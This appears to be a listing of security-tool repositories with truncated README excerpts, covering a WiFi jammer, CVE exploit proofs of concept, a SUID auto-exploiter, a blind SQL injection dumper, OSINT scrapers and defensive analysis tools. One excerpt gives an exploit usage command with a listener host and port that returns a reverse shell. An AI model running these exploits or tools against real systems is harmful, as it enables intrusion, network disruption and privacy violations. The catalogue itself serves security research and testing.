wifijammer

wifijammer 持续干扰范围内所有WiFi客户端和接入点。该脚本的效果受无线网卡性能限制。Alfa网卡在接入点密集的区域似乎能有效干扰约一个街区的范围。通过选项可实现更精细的定位。 要求：python 2.7、python-scapy、支持注入的无线网卡 使用方法 基础用法 python wifijammer...

Medusa

Welcome to Medusa 👉关于美杜莎 本项目使用 GPL协议，未经授权，禁止使用商业用途。 Web Alpha 版本已上线 请下载releases版本使用，master分支正在重构前端（预计2022年底上线） 中文文档 |EnglishDocumentation 💡使用文档 http://medusa.ascotbe.com 📋安装说明 https://medusa.ascotbe.com/Documentation//Installation 👾Web界面 🍀更新日志 http://medusa.ascotbe.com/Documentation//UpDataLog...

imaginaryC2

Imaginary C2 作者: Felix Weyne 网站 推特 Imaginary C2 是一个 Python 工具，旨在帮助分析恶意软件的（网络）行为。 Imaginary C2 托管一个 HTTP 服务器，该服务器捕获向选择性指定的域名/IP 发出的 HTTP 请求。此外，该工具旨在轻松重放已捕获的命令与控制响应/提供的有效载荷。 通过使用此工具，分析人员可以向恶意软件提供一致的网络响应（例如，恶意软件要执行的 C&C 指令）。此外，分析人员还可以捕获并检查向一个在分析时离线的域名/IP 发出的 HTTP 请求。 重放数据包捕获 Imaginary C2 提供了两个脚本，用于将...

Dumb0

Dumb0 一个简单工具，用于从流行论坛和CMS（WordPress、SMF、vBulletin、IP Board、XEN forums、myBB、useBB、vanilla、bbPress...）中导出用户。支持27个论坛/CMS（帮助我们增加数量！： SMF —— 简易机器论坛 IPB —— Invision Power Board XEN —— Xen Foro VB —— vBulletin myBB —— useBB —— vanilla —— bbPress —— WP —— WordPress SPIP —— SPIP CMS DRUPAL —— Drupal MOODLE...

SUID3NUM

SUID3NUM 一个独立的 python2/3 脚本，利用 python 的内置模块查找 SUID 二进制文件，将默认二进制文件与自定义二进制文件分开，并与 GTFO Bin 仓库中的二进制文件进行交叉匹配并自动利用它们，全部带有颜色！ ͡ʘ ͜ʖ ͡ʘ 描述 一个同时支持 python2 和 python3 的独立脚本，用于查找机器/CTF 中的所有 SUID 二进制文件，并执行以下操作： 列出所有默认的 SUID 二进制文件（随 Linux 发行，不可利用） 列出所有自定义二进制文件（不随软件包/纯净安装提供） 列出所有在 GTFO Bin 中找到的自定义二进制文件（这是有趣的地方）...

mailMeta

一款取证工具，用于轻松分析邮件头，帮助快速发现攻击者。 目录 关于 mailMeta 安装 使用 Linux Windows 演示 贡献 灵感 常见问题 许可证 关于 mailMeta 什么是 mailMeta？ mailMeta 是一款基于 Python 的取证工具，它读取电子邮件文件中的邮件头，提取关键信息，以判断邮件是否合法。 使用 mailMeta 有哪些优势？ 你是否听说过邮件黑客攻击 或复杂的电子邮件犯罪...

WAS

WAS WAS - Wait A Sec ：适用于安全意识用户的自动USB驱动器恶意软件扫描工具。 作者：Fabio Baroni http://www.pentest.guru/ @Fabiothebest89 你有多少次插上U盘后，不扫描恶意软件就直接双击文件？我猜，很多次。 Wait A Sec! 即使你是安全专家，也常常会匆忙或心不在焉，并且信任你的U盘（你的电脑也是如此）。 会出什么问题呢？被攻陷只需一次点击。你可能安装了带实时保护的杀毒软件，但如果它没有新病毒的签名，那么这种病毒很可能被忽视，即使启发式扫描也可能无法检测到新病毒。病毒正变得越来越复杂。...

ShredHound

ShredHound Resumen Divide un archivo JSON grande de BloodHound en varios archivos más pequeños para una importación más rápida. Sígueme en Twitter Mike Felch - @ustayready Uso básico usage: shred.py -h --output OUTPUT --filename FILENAME --chunks CHUNKS optional arguments: -h, --help show this he...

fb_friend_list_scraper

Facebook Friend List Scraper Herramienta OSINT para extraer nombres y nombres de usuario de grandes listas de amigos en Facebook, sin ser limitado por tasa. Contáctame en Mastodon: @[email protected] Para empezar: Instalar usando pip: python -m pip install fb-friend-list-scraper El script...

ShadowRay-RCE-PoC-CVE-2023-48022

Ray框架远程命令执行漏洞PoC CVE-2023-48022 此漏洞利用脚本和PoC是为在vSociety上进行的深入CVE分析而编写。 Ray框架是一个用于Python AI和机器学习应用的重要工具，最近遇到了一个重大的安全挑战。本质上，Ray就像一个瑞士军刀，服务于从事AI和大数据项目的人员。该漏洞被标识为CVE-2023-48022，具体影响作业提交API。官方描述指出，该漏洞允许远程攻击者执行任意代码，对使用这些Ray版本的系统构成重大风险。该漏洞的发现凸显了软件框架中强大安全协议的重要性，特别是那些处理海量数据和计算能力的AI和ML项目。 使用方式 首先，安装Ray： pip...

pyshark-legacy

pyshark Este repositorio es para la versión heredada de pyshark, que funciona con Python 2.7+. Solo recibe correcciones de errores después de la versión 0.3.8. Para la nueva versión que solo es compatible con Python 3.5+, use elrepositorio principal Wrapper de Python para tshark, que permite el...

OSINT-SPY

OSINT-SPY 使用 OSINT（开源情报）进行搜索 使用 OSINT-SPY 对电子邮件/域名/IP 地址/组织执行 OSINT 扫描。可用于数据挖掘者、信息安全研究员、渗透测试人员和网络犯罪调查员，以查找有关其目标的深层信息。 版本 2.0 新增 Python 3 支持。 这是 Python 3 的初始版本，新功能将在下周推出。 OSINT-SPY 文档（测试版） 文件名 : README 作者 : @sksecurity 版本 : 2.0 网站 : https://docs.osint-spy.io 本工具概述： 对 IP...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

lst2x64dbg

lst2x64dbg This command extracts all the labels found in the LST file that is given as the single argument. An x64dbg database is created in the current directory based on the extracted labels. The LST file can be generated in IDA from the File menu: Produce file - Create LST file... Example $...

CVE-2023-21716

CVE-2023-21716 PoC de Caída RTF Python 3.11 Windows 10...

canTot

canTot canTot 是一个基于 Python 的命令行框架，底层使用 sploitkit，操作方式类似于 Metasploit，易于上手。它类似于漏洞利用框架，但专注于已知的 CAN 总线漏洞或有趣的 CAN 总线攻击技巧。它也可以作为渗透测试车辆的学习指南，以及通过更简单的方式学习汽车黑客技术的 Python 教程。这不是要重新发明已有的 CAN 模糊测试工具、汽车探索工具（如 caring caribou）或其他优秀的 CAN 分析器，而是将汽车安全中所有已知的漏洞和有趣的 CAN 总线攻击技巧整合在一起。 由 Car Hacking Village Philippines...

yarasafe

YARASAFE - Automatic Binary Function Similarity Checks with Yara SAFE is a tool developed to create Binary Functions Embedding developed by Massarelli L., Di Luna G.A., Petroni F., Querzoni L. and Baldoni R. You can use SAFE to create your function embedding to use inside yara rules. If you are...

SucoshScanny

Sucosh Scanny "Sucosh" 是一个自动化源代码漏洞扫描器（SAST）和评估框架，适用于 Python（Flask-Django）和 NodeJs，能够在 Web 应用程序开发或源代码分析过程中进行代码审查。它可以检测给定源代码中的大量漏洞（RCE、SSTI、不安全的反序列化、SSRF、SQLI、CSRF 等）。目前只完成了 Python（Flask、Django）和 NodeJs（Express JS.）语言的检测模块。未来将会为 PHP（Laravel、Codeigniter）、.NET、Go 和其他语言编写特定的检测函数。 示例用法 扫描源代码分析 例如：pytho...

hakuin

Hakuin 是一个使用 Python 3 编写的盲 SQL 注入 BSQLI 优化与自动化框架。它抽象化了数据提取逻辑，允许用户轻松高效地从易受攻击的 Web 应用程序中转储数据库。为了加速这一过程，Hakuin 使用了多种优化方法，包括预训练和自适应语言模型、机会性猜测、统计建模、并行化、三元查询等。 Hakuin 曾在以下知名学术与行业会议上进行展示： BSides，布拉迪斯拉发，2025 BlackHat MEA，利雅得，2023 Hack in the Box，普吉岛，2023 IEEE S&P 攻防技术研讨会 WOOT，2023 更多信息请参阅我们的论文和幻灯片。 安装 要安...

hakuin

Hakuin is a Blind SQL Injection BSQLI optimization and automation framework written in Python 3. It abstracts away the extraction logic and allows users to easily and efficiently dump databases from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization...